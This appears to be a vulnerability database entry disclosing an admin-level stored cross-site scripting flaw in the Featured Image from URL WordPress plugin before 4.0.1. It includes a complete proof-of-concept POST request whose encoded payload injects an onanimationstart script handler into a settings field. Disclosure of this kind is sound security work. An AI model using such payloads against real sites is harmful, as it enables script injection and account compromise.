Featured Image from URL < 4.0.1 - Admin+ Stored Cross-Site Scripting

2022-07-1100:00:00

Raad Haddad of Cloudyrion GmbH

156

cross-site scripting

admin+ stored

exploit

http/1.1

settings

security vulnerability

request headers

EPSS

0.001

Percentile

24.8%

JSON

The plugin does not validate, sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks when the unfiltered_html capability is disallowed (for example in multisite setup)

POST /wp-admin/admin.php?page=featured-image-from-url HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 137
Connection: close
Cookie: [admin+]

nonce_fifu_form_photon=97e59a4740&fifu_input_photon=on%22%20style%3danimation-name%3arotation%20onanimationstart%3dalert(%2fXSS%2f)%2f%2f

The XSS will be triggered when accessing the settings again

EPSS

0.001

Percentile

24.8%

JSON

Related for WPEX-ID:4481731D-4DBF-4BFA-B4CC-64F10BB7E7BF